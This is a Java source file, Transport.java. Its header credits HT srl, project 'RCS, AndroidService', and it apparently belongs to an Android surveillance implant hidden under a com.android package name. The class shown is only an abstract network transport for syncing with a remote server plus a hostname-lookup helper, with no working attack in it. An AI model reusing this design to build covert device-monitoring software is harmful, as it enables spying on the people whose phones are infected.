Transport.java

/* *******************************************
 * Copyright (c) 2011
 * HT srl,   All rights reserved.
 * Project      : RCS, AndroidService
 * File         : Transport.java
 * Created      : Apr 9, 2011
 * Author		: zeno
 * *******************************************/

package com.android.dvci.action.sync;

import java.net.InetAddress;
import java.net.UnknownHostException;

// TODO: Auto-generated Javadoc
/**
 * The Class Transport.
 */
public abstract class Transport {
	/** The debug. */
	private static final String TAG = "Transport"; //$NON-NLS-1$
	/** The timeout. */
	protected final int timeout = 3 * 60 * 1000;

	/** The baseurl. */
	protected String baseurl;

	/** The suffix. */
	protected String suffix;

	/**
	 * Instantiates a new transport.
	 * 
	 * @param baseurl
	 *            the baseurl
	 */
	public Transport(final String baseurl) {

			this.baseurl = baseurl;

	}

	/*
	 * (non-Javadoc)
	 * 
	 * @see java.lang.Object#toString()
	 */
	@Override
	public String toString() {
		return "Transport " + getUrl(); //$NON-NLS-1$
	}

	/**
	 * Check. if is available. //$NON-NLS-1$
	 * 
	 * @return true, if is available
	 */
	public abstract boolean isAvailable();

	/**
	 * Enable is possible //$NON-NLS-1$
	 * 
	 */
	public abstract boolean enable();

	/**
	 * Command.
	 * 
	 * @param data
	 *            the data
	 * @return the byte[]
	 * @throws TransportException
	 *             the transport exception
	 */
	public abstract byte[] command(byte[] data) throws TransportException;

	/**
	 * Close.
	 */
	public abstract void start();

	public abstract void close();

	/**
	 * Gets the url.
	 * 
	 * @return the url
	 */
	public String getUrl() {
		return baseurl;
	}
	
	public static int lookupHost(String hostname) {
	    InetAddress inetAddress;
	    try {
	        inetAddress = InetAddress.getByName(hostname);
	    } catch (UnknownHostException e) {
	        return -1;
	    }
	    byte[] addrBytes;
	    int addr;
	    addrBytes = inetAddress.getAddress();
	    addr = ((addrBytes[3] & 0xff) << 24)
	            | ((addrBytes[2] & 0xff) << 16)
	            | ((addrBytes[1] & 0xff) << 8)
	            |  (addrBytes[0] & 0xff);
	    return addr;
	}

}